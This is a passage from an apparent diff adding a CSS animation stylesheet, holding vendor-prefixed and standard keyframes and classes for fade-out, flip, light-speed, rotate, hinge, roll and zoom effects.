fadeOutRightBig; + animation-name: fadeOutRightBig +} + +@-webkit-keyframes fadeOutUp { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0) + } +} + +@keyframes fadeOutUp { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0) + } +} + +.fadeOutUp { + -webkit-animation-name: fadeOutUp; + animation-name: fadeOutUp +} + +@-webkit-keyframes fadeOutUpBig { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(0, -2000px, 0); + transform: translate3d(0, -2000px, 0) + } +} + +@keyframes fadeOutUpBig { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(0, -2000px, 0); + transform: translate3d(0, -2000px, 0) + } +} + +.fadeOutUpBig { + -webkit-animation-name: fadeOutUpBig; + animation-name: fadeOutUpBig +} + +@-webkit-keyframes flip { + from { + -webkit-transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0) rotate3d(0, 1, 0, -360deg); + transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0) rotate3d(0, 1, 0, -360deg); + -webkit-animation-timing-function: ease-out; + animation-timing-function: ease-out + } + 40% { + -webkit-transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg); + transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg); + -webkit-animation-timing-function: ease-out; + animation-timing-function: ease-out + } + 50% { + -webkit-transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg); + transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in + } + 80% { + -webkit-transform: perspective(400px) scale3d(.95, .95, .95) translate3d(0, 0, 0) rotate3d(0, 1, 0, 0deg); + transform: perspective(400px) scale3d(.95, .95, .95) translate3d(0, 0, 0) rotate3d(0, 1, 0, 0deg); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in + } + to { + -webkit-transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0) rotate3d(0, 1, 0, 0deg); + transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0) rotate3d(0, 1, 0, 0deg); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in + } +} + +@keyframes flip { + from { + -webkit-transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0) rotate3d(0, 1, 0, -360deg); + transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0) rotate3d(0, 1, 0, -360deg); + -webkit-animation-timing-function: ease-out; + animation-timing-function: ease-out + } + 40% { + -webkit-transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg); + transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg); + -webkit-animation-timing-function: ease-out; + animation-timing-function: ease-out + } + 50% { + -webkit-transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg); + transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in + } + 80% { + -webkit-transform: perspective(400px) scale3d(.95, .95, .95) translate3d(0, 0, 0) rotate3d(0, 1, 0, 0deg); + transform: perspective(400px) scale3d(.95, .95, .95) translate3d(0, 0, 0) rotate3d(0, 1, 0, 0deg); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in + } + to { + -webkit-transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0) rotate3d(0, 1, 0, 0deg); + transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0) rotate3d(0, 1, 0, 0deg); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in + } +} + +.animated.flip { + -webkit-backface-visibility: visible; + backface-visibility: visible; + -webkit-animation-name: flip; + animation-name: flip +} + +@-webkit-keyframes flipInX { + from { + -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg); + transform: perspective(400px) rotate3d(1, 0, 0, 90deg); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in; + opacity: 0 + } + 40% { + -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg); + transform: perspective(400px) rotate3d(1, 0, 0, -20deg); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in + } + 60% { + -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 10deg); + transform: perspective(400px) rotate3d(1, 0, 0, 10deg); + opacity: 1 + } + 80% { + -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -5deg); + transform: perspective(400px) rotate3d(1, 0, 0, -5deg) + } + to { + -webkit-transform: perspective(400px); + transform: perspective(400px) + } +} + +@keyframes flipInX { + from { + -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg); + transform: perspective(400px) rotate3d(1, 0, 0, 90deg); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in; + opacity: 0 + } + 40% { + -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg); + transform: perspective(400px) rotate3d(1, 0, 0, -20deg); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in + } + 60% { + -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 10deg); + transform: perspective(400px) rotate3d(1, 0, 0, 10deg); + opacity: 1 + } + 80% { + -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -5deg); + transform: perspective(400px) rotate3d(1, 0, 0, -5deg) + } + to { + -webkit-transform: perspective(400px); + transform: perspective(400px) + } +} + +.flipInX { + -webkit-backface-visibility: visible !important; + backface-visibility: visible !important; + -webkit-animation-name: flipInX; + animation-name: flipInX +} + +@-webkit-keyframes flipInY { + from { + -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg); + transform: perspective(400px) rotate3d(0, 1, 0, 90deg); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in; + opacity: 0 + } + 40% { + -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -20deg); + transform: perspective(400px) rotate3d(0, 1, 0, -20deg); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in + } + 60% { + -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 10deg); + transform: perspective(400px) rotate3d(0, 1, 0, 10deg); + opacity: 1 + } + 80% { + -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -5deg); + transform: perspective(400px) rotate3d(0, 1, 0, -5deg) + } + to { + -webkit-transform: perspective(400px); + transform: perspective(400px) + } +} + +@keyframes flipInY { + from { + -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg); + transform: perspective(400px) rotate3d(0, 1, 0, 90deg); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in; + opacity: 0 + } + 40% { + -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -20deg); + transform: perspective(400px) rotate3d(0, 1, 0, -20deg); + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in + } + 60% { + -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 10deg); + transform: perspective(400px) rotate3d(0, 1, 0, 10deg); + opacity: 1 + } + 80% { + -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -5deg); + transform: perspective(400px) rotate3d(0, 1, 0, -5deg) + } + to { + -webkit-transform: perspective(400px); + transform: perspective(400px) + } +} + +.flipInY { + -webkit-backface-visibility: visible !important; + backface-visibility: visible !important; + -webkit-animation-name: flipInY; + animation-name: flipInY +} + +@-webkit-keyframes flipOutX { + from { + -webkit-transform: perspective(400px); + transform: perspective(400px) + } + 30% { + -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg); + transform: perspective(400px) rotate3d(1, 0, 0, -20deg); + opacity: 1 + } + to { + -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg); + transform: perspective(400px) rotate3d(1, 0, 0, 90deg); + opacity: 0 + } +} + +@keyframes flipOutX { + from { + -webkit-transform: perspective(400px); + transform: perspective(400px) + } + 30% { + -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg); + transform: perspective(400px) rotate3d(1, 0, 0, -20deg); + opacity: 1 + } + to { + -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg); + transform: perspective(400px) rotate3d(1, 0, 0, 90deg); + opacity: 0 + } +} + +.flipOutX { + -webkit-animation-duration: .75s; + animation-duration: .75s; + -webkit-animation-name: flipOutX; + animation-name: flipOutX; + -webkit-backface-visibility: visible !important; + backface-visibility: visible !important +} + +@-webkit-keyframes flipOutY { + from { + -webkit-transform: perspective(400px); + transform: perspective(400px) + } + 30% { + -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -15deg); + transform: perspective(400px) rotate3d(0, 1, 0, -15deg); + opacity: 1 + } + to { + -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg); + transform: perspective(400px) rotate3d(0, 1, 0, 90deg); + opacity: 0 + } +} + +@keyframes flipOutY { + from { + -webkit-transform: perspective(400px); + transform: perspective(400px) + } + 30% { + -webkit-transform: perspective(400px) rotate3d(0, 1, 0, -15deg); + transform: perspective(400px) rotate3d(0, 1, 0, -15deg); + opacity: 1 + } + to { + -webkit-transform: perspective(400px) rotate3d(0, 1, 0, 90deg); + transform: perspective(400px) rotate3d(0, 1, 0, 90deg); + opacity: 0 + } +} + +.flipOutY { + -webkit-animation-duration: .75s; + animation-duration: .75s; + -webkit-backface-visibility: visible !important; + backface-visibility: visible !important; + -webkit-animation-name: flipOutY; + animation-name: flipOutY +} + +@-webkit-keyframes lightSpeedIn { + from { + -webkit-transform: translate3d(100%, 0, 0) skewX(-30deg); + transform: translate3d(100%, 0, 0) skewX(-30deg); + opacity: 0 + } + 60% { + -webkit-transform: skewX(20deg); + transform: skewX(20deg); + opacity: 1 + } + 80% { + -webkit-transform: skewX(-5deg); + transform: skewX(-5deg) + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes lightSpeedIn { + from { + -webkit-transform: translate3d(100%, 0, 0) skewX(-30deg); + transform: translate3d(100%, 0, 0) skewX(-30deg); + opacity: 0 + } + 60% { + -webkit-transform: skewX(20deg); + transform: skewX(20deg); + opacity: 1 + } + 80% { + -webkit-transform: skewX(-5deg); + transform: skewX(-5deg) + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.lightSpeedIn { + -webkit-animation-name: lightSpeedIn; + animation-name: lightSpeedIn; + -webkit-animation-timing-function: ease-out; + animation-timing-function: ease-out +} + +@-webkit-keyframes lightSpeedOut { + from { + opacity: 1 + } + to { + -webkit-transform: translate3d(100%, 0, 0) skewX(30deg); + transform: translate3d(100%, 0, 0) skewX(30deg); + opacity: 0 + } +} + +@keyframes lightSpeedOut { + from { + opacity: 1 + } + to { + -webkit-transform: translate3d(100%, 0, 0) skewX(30deg); + transform: translate3d(100%, 0, 0) skewX(30deg); + opacity: 0 + } +} + +.lightSpeedOut { + -webkit-animation-name: lightSpeedOut; + animation-name: lightSpeedOut; + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in +} + +@-webkit-keyframes rotateIn { + from { + -webkit-transform-origin: center; + transform-origin: center; + -webkit-transform: rotate3d(0, 0, 1, -200deg); + transform: rotate3d(0, 0, 1, -200deg); + opacity: 0 + } + to { + -webkit-transform-origin: center; + transform-origin: center; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } +} + +@keyframes rotateIn { + from { + -webkit-transform-origin: center; + transform-origin: center; + -webkit-transform: rotate3d(0, 0, 1, -200deg); + transform: rotate3d(0, 0, 1, -200deg); + opacity: 0 + } + to { + -webkit-transform-origin: center; + transform-origin: center; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } +} + +.rotateIn { + -webkit-animation-name: rotateIn; + animation-name: rotateIn +} + +@-webkit-keyframes rotateInDownLeft { + from { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate3d(0, 0, 1, -45deg); + transform: rotate3d(0, 0, 1, -45deg); + opacity: 0 + } + to { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } +} + +@keyframes rotateInDownLeft { + from { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate3d(0, 0, 1, -45deg); + transform: rotate3d(0, 0, 1, -45deg); + opacity: 0 + } + to { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } +} + +.rotateInDownLeft { + -webkit-animation-name: rotateInDownLeft; + animation-name: rotateInDownLeft +} + +@-webkit-keyframes rotateInDownRight { + from { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate3d(0, 0, 1, 45deg); + transform: rotate3d(0, 0, 1, 45deg); + opacity: 0 + } + to { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } +} + +@keyframes rotateInDownRight { + from { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate3d(0, 0, 1, 45deg); + transform: rotate3d(0, 0, 1, 45deg); + opacity: 0 + } + to { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } +} + +.rotateInDownRight { + -webkit-animation-name: rotateInDownRight; + animation-name: rotateInDownRight +} + +@-webkit-keyframes rotateInUpLeft { + from { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate3d(0, 0, 1, 45deg); + transform: rotate3d(0, 0, 1, 45deg); + opacity: 0 + } + to { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } +} + +@keyframes rotateInUpLeft { + from { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate3d(0, 0, 1, 45deg); + transform: rotate3d(0, 0, 1, 45deg); + opacity: 0 + } + to { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } +} + +.rotateInUpLeft { + -webkit-animation-name: rotateInUpLeft; + animation-name: rotateInUpLeft +} + +@-webkit-keyframes rotateInUpRight { + from { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate3d(0, 0, 1, -90deg); + transform: rotate3d(0, 0, 1, -90deg); + opacity: 0 + } + to { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } +} + +@keyframes rotateInUpRight { + from { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate3d(0, 0, 1, -90deg); + transform: rotate3d(0, 0, 1, -90deg); + opacity: 0 + } + to { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1 + } +} + +.rotateInUpRight { + -webkit-animation-name: rotateInUpRight; + animation-name: rotateInUpRight +} + +@-webkit-keyframes rotateOut { + from { + -webkit-transform-origin: center; + transform-origin: center; + opacity: 1 + } + to { + -webkit-transform-origin: center; + transform-origin: center; + -webkit-transform: rotate3d(0, 0, 1, 200deg); + transform: rotate3d(0, 0, 1, 200deg); + opacity: 0 + } +} + +@keyframes rotateOut { + from { + -webkit-transform-origin: center; + transform-origin: center; + opacity: 1 + } + to { + -webkit-transform-origin: center; + transform-origin: center; + -webkit-transform: rotate3d(0, 0, 1, 200deg); + transform: rotate3d(0, 0, 1, 200deg); + opacity: 0 + } +} + +.rotateOut { + -webkit-animation-name: rotateOut; + animation-name: rotateOut +} + +@-webkit-keyframes rotateOutDownLeft { + from { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + opacity: 1 + } + to { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate3d(0, 0, 1, 45deg); + transform: rotate3d(0, 0, 1, 45deg); + opacity: 0 + } +} + +@keyframes rotateOutDownLeft { + from { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + opacity: 1 + } + to { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate3d(0, 0, 1, 45deg); + transform: rotate3d(0, 0, 1, 45deg); + opacity: 0 + } +} + +.rotateOutDownLeft { + -webkit-animation-name: rotateOutDownLeft; + animation-name: rotateOutDownLeft +} + +@-webkit-keyframes rotateOutDownRight { + from { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + opacity: 1 + } + to { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate3d(0, 0, 1, -45deg); + transform: rotate3d(0, 0, 1, -45deg); + opacity: 0 + } +} + +@keyframes rotateOutDownRight { + from { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + opacity: 1 + } + to { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate3d(0, 0, 1, -45deg); + transform: rotate3d(0, 0, 1, -45deg); + opacity: 0 + } +} + +.rotateOutDownRight { + -webkit-animation-name: rotateOutDownRight; + animation-name: rotateOutDownRight +} + +@-webkit-keyframes rotateOutUpLeft { + from { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + opacity: 1 + } + to { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate3d(0, 0, 1, -45deg); + transform: rotate3d(0, 0, 1, -45deg); + opacity: 0 + } +} + +@keyframes rotateOutUpLeft { + from { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + opacity: 1 + } + to { + -webkit-transform-origin: left bottom; + transform-origin: left bottom; + -webkit-transform: rotate3d(0, 0, 1, -45deg); + transform: rotate3d(0, 0, 1, -45deg); + opacity: 0 + } +} + +.rotateOutUpLeft { + -webkit-animation-name: rotateOutUpLeft; + animation-name: rotateOutUpLeft +} + +@-webkit-keyframes rotateOutUpRight { + from { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + opacity: 1 + } + to { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate3d(0, 0, 1, 90deg); + transform: rotate3d(0, 0, 1, 90deg); + opacity: 0 + } +} + +@keyframes rotateOutUpRight { + from { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + opacity: 1 + } + to { + -webkit-transform-origin: right bottom; + transform-origin: right bottom; + -webkit-transform: rotate3d(0, 0, 1, 90deg); + transform: rotate3d(0, 0, 1, 90deg); + opacity: 0 + } +} + +.rotateOutUpRight { + -webkit-animation-name: rotateOutUpRight; + animation-name: rotateOutUpRight +} + +@-webkit-keyframes hinge { + 0% { + -webkit-transform-origin: top left; + transform-origin: top left; + -webkit-animation-timing-function: ease-in-out; + animation-timing-function: ease-in-out + } + 20%, + 60% { + -webkit-transform: rotate3d(0, 0, 1, 80deg); + transform: rotate3d(0, 0, 1, 80deg); + -webkit-transform-origin: top left; + transform-origin: top left; + -webkit-animation-timing-function: ease-in-out; + animation-timing-function: ease-in-out + } + 40%, + 80% { + -webkit-transform: rotate3d(0, 0, 1, 60deg); + transform: rotate3d(0, 0, 1, 60deg); + -webkit-transform-origin: top left; + transform-origin: top left; + -webkit-animation-timing-function: ease-in-out; + animation-timing-function: ease-in-out; + opacity: 1 + } + to { + -webkit-transform: translate3d(0, 700px, 0); + transform: translate3d(0, 700px, 0); + opacity: 0 + } +} + +@keyframes hinge { + 0% { + -webkit-transform-origin: top left; + transform-origin: top left; + -webkit-animation-timing-function: ease-in-out; + animation-timing-function: ease-in-out + } + 20%, + 60% { + -webkit-transform: rotate3d(0, 0, 1, 80deg); + transform: rotate3d(0, 0, 1, 80deg); + -webkit-transform-origin: top left; + transform-origin: top left; + -webkit-animation-timing-function: ease-in-out; + animation-timing-function: ease-in-out + } + 40%, + 80% { + -webkit-transform: rotate3d(0, 0, 1, 60deg); + transform: rotate3d(0, 0, 1, 60deg); + -webkit-transform-origin: top left; + transform-origin: top left; + -webkit-animation-timing-function: ease-in-out; + animation-timing-function: ease-in-out; + opacity: 1 + } + to { + -webkit-transform: translate3d(0, 700px, 0); + transform: translate3d(0, 700px, 0); + opacity: 0 + } +} + +.hinge { + -webkit-animation-duration: 2s; + animation-duration: 2s; + -webkit-animation-name: hinge; + animation-name: hinge +} + +@-webkit-keyframes jackInTheBox { + from { + opacity: 0; + -webkit-transform: scale(.1) rotate(30deg); + transform: scale(.1) rotate(30deg); + -webkit-transform-origin: center bottom; + transform-origin: center bottom + } + 50% { + -webkit-transform: rotate(-10deg); + transform: rotate(-10deg) + } + 70% { + -webkit-transform: rotate(3deg); + transform: rotate(3deg) + } + to { + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1) + } +} + +@keyframes jackInTheBox { + from { + opacity: 0; + -webkit-transform: scale(.1) rotate(30deg); + transform: scale(.1) rotate(30deg); + -webkit-transform-origin: center bottom; + transform-origin: center bottom + } + 50% { + -webkit-transform: rotate(-10deg); + transform: rotate(-10deg) + } + 70% { + -webkit-transform: rotate(3deg); + transform: rotate(3deg) + } + to { + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1) + } +} + +.jackInTheBox { + -webkit-animation-name: jackInTheBox; + animation-name: jackInTheBox +} + +@-webkit-keyframes rollIn { + from { + opacity: 0; + -webkit-transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg); + transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes rollIn { + from { + opacity: 0; + -webkit-transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg); + transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg) + } + to { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.rollIn { + -webkit-animation-name: rollIn; + animation-name: rollIn +} + +@-webkit-keyframes rollOut { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg); + transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg) + } +} + +@keyframes rollOut { + from { + opacity: 1 + } + to { + opacity: 0; + -webkit-transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg); + transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg) + } +} + +.rollOut { + -webkit-animation-name: rollOut; + animation-name: rollOut +} + +@-webkit-keyframes zoomIn { + from { + opacity: 0; + -webkit-transform: scale3d(.3, .3, .3); + transform: scale3d(.3, .3, .3) + } + 50% { + opacity: 1 + } +} + +@keyframes zoomIn { + from { + opacity: 0; + -webkit-transform: scale3d(.3, .3, .3); + transform: scale3d(.3, .3, .3) + } + 50% { + opacity: 1 + } +} + +.zoomIn { + -webkit-animation-name: zoomIn; + animation-name: zoomIn +} + +@-webkit-keyframes zoomInDown { + from { + opacity: 0; + -webkit-transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0); + transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0); + -webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19); + animation-timing-function: cubic-bezier(.55, .055, .675, .19) + } + 60% { + opacity: 1; + -webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); + transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); + -webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1); + animation-timing-function: cubic-bezier(.175, .885, .32, 1) + } +} + +@keyframes zoomInDown { + from { + opacity: 0; + -webkit-transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0); + transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0); + -webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19); + animation-timing-function: cubic-bezier(.55, .055, .675, .19) + } + 60% { + opacity: 1; + -webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); + transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); + -webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1); + animation-timing-function: cubic-bezier(.175, .885, .32, 1) + } +} + +.zoomInDown { + -webkit-animation-name: zoomInDown; + animation-name: zoomInDown +} + +@-webkit-keyframes zoomInLeft { + from { + opacity: 0; + -webkit-transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0); + transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0); + -webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19); + animation-timing-function: cubic-bezier(.55, .055, .675, .19) + } + 60% { + opacity: 1; + -webkit-transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0); + transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0); + -webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1); + animation-timing-function: cubic-bezier(.175, .885, .32, 1) + } +} + +@keyframes zoomInLeft { + from { + opacity: 0; + -webkit-transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0); + transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0); + -webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19); + animation-timing-function: cubic-bezier(.55, .055, .675, .19) + } + 60% { + opacity: 1; + -webkit-transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0); + transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0); + -webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1); + animation-timing-function: cubic-bezier(.175, .885, .32, 1) + } +} + +.zoomInLeft { + -webkit-animation-name: zoomInLeft; + animation-name: zoomInLeft +} + +@-webkit-keyframes zoomInRight { + from { + opacity: 0; + -webkit-transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0); + transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0); + -webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19); + animation-timing-function: cubic-bezier(.55, .055, .675, .19) + } + 60% { + opacity: 1; + -webkit-transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0); + transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0); + -webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1); + animation-timing-function: cubic-bezier(.175, .885, .32, 1) + } +} + +@keyframes zoomInRight { + from { + opacity: 0; + -webkit-transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0); + transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0); + -webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19); + animation-timing-function: cubic-bezier(.55, .055, .675, .19) + } + 60% { + opacity: 1; + -webkit-transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0); + transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0); + -webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1); + animation-timing-function: cubic-bezier(.175, .885, .32, 1) + } +} + +.zoomInRight { + -webkit-animation-name: zoomInRight; + animation-name: zoomInRight +} + +@-webkit-keyframes zoomInUp { + from { + opacity: 0; + -webkit-transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0); + transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0); + -webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19); + animation-timing-function: cubic-bezier(.55, .055, .675, .19) + } + 60% { + opacity: 1; + -webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); + transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); + -webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1); + animation-timing-function: cubic-bezier(.175, .885, .32, 1) + } +} + +@keyframes zoomInUp { + from { + opacity: 0; + -webkit-transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0); + transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0); + -webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19); + animation-timing-function: cubic-bezier(.55, .055, .675, .19) + } + 60% { + opacity: 1; + -webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); + transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); + -webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1); + animation-timing-function: cubic-bezier(.175, .885, .32, 1) + } +} + +.zoomInUp { + -webkit-animation-name: zoomInUp; + animation-name: zoomInUp +} + +@-webkit-keyframes zoomOut { + from { + opacity: 1 + } + 50% { + opacity: 0; + -webkit-transform: scale3d(.3, .3, .3); + transform: scale3d(.3, .3, .3) + } + to { + opacity: 0 + } +} + +@keyframes zoomOut { + from { + opacity: 1 + } + 50% { + opacity: 0; + -webkit-transform: scale3d(.3, .3, .3); + transform: scale3d(.3, .3, .3) + } + to { + opacity: 0 + } +} + +.zoomOut { + -webkit-animation-name: zoomOut; + animation-name: zoomOut +} + +@-webkit-keyframes zoomOutDown { + 40% { + opacity: 1; + -webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); + transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); + -webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19); + animation-timing-function: cubic-bezier(.55, .055, .675, .19) + } + to { + opacity: 0; + -webkit-transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 